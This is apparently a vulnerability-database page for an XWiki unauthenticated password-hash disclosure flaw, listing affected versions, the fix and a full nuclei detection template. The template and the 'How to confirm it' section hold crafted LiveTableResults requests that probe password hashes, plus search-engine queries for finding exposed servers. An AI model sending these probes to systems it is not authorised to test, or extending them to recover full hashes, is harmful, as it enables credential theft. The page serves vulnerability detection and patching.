HexBrain

Browse / CVEs / CVE-2026-48048

CVE-2026-48048· xwiki / xwiki· CWE-359

XWiki Platform - Password Hash Disclosure

highseverity
7.5CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

XWiki Platform is a generic wiki platform. The patch for GHSA-5cf8-vrr8-8hjm / CVE-2023-26476 was insufficient. Starting with version 6.2.1 and prior to 16.10.17, 17.4.9, 17.10.13, and 18.0.0RC1, slightly modified LiveTableResults parameters (for example password_class) still allow an unauthenticated attacker to discover password hashes one bit at a time. With about 768 requests, the full password salt and hash of a user can be retrieved. The check for password and email properties does not consider the class passed via the _class parameters.

Impact

Unauthenticated attackers can reconstruct user password salts and hashes from LiveTableResults responses, enabling offline credential cracking.

Fix

Upgrade XWiki to 16.10.17, 17.4.9, 17.10.13, 18.0.0RC1, or later. As a workaround, apply the patch manually to the wiki page XWiki.LiveTableResultsMacros.

How to confirm it

Send: GET {{BaseURL}}/xwiki/bin/get/XWiki/LiveTableResults?outputSyntax=plain&password_class=XWiki.XWikiUsers&collist=password&password=hash:SHA-512:c ; GET {{BaseURL}}/bin/get/XWiki/LiveTableResults?outputSyntax=plain&password_class=XWiki.XWikiUsers&collist=password&password=hash:SHA-512:c
Positive when: contains "totalrows\":" and "returnedrows\":" and "doc_viewable\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-48048 -u <target>

The full check
id: CVE-2026-48048

info:
  name: XWiki Platform - Password Hash Disclosure
  author: ritikchaddha
  severity: high
  description: |
    XWiki Platform is a generic wiki platform. The patch for GHSA-5cf8-vrr8-8hjm / CVE-2023-26476 was insufficient. Starting with version 6.2.1 and prior to 16.10.17, 17.4.9, 17.10.13, and 18.0.0RC1, slightly modified LiveTableResults parameters (for example password_class) still allow an unauthenticated attacker to discover password hashes one bit at a time. With about 768 requests, the full password salt and hash of a user can be retrieved. The check for password and email properties does not consider the class passed via the _class parameters.
  impact: |
    Unauthenticated attackers can reconstruct user password salts and hashes from LiveTableResults
    responses, enabling offline credential cracking.
  remediation: |
    Upgrade XWiki to 16.10.17, 17.4.9, 17.10.13, 18.0.0RC1, or later. As a workaround, apply the
    patch manually to the wiki page XWiki.LiveTableResultsMacros.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rh28-mqj4-8x59
    - https://jira.xwiki.org/browse/XWIKI-23875
    - https://github.com/xwiki/xwiki-platform/commit/c4442716b02ffcdaa9d5e703b1db6203e36456fa
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48048
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-48048
    epss-score: 0.02008
    epss-percentile: 0.81004
    cwe-id: CWE-359
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki
    fofa-query: body="data-xwiki-reference"
    shodan-query: html:"data-xwiki-reference"
  tags: cve,cve2026,xwiki,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/XWiki/LiveTableResults?outputSyntax=plain&password_class=XWiki.XWikiUsers&collist=password&password=hash:SHA-512:c"
      - "{{BaseURL}}/bin/get/XWiki/LiveTableResults?outputSyntax=plain&password_class=XWiki.XWikiUsers&collist=password&password=hash:SHA-512:c"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'totalrows":'
          - 'returnedrows":'
          - 'doc_viewable":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from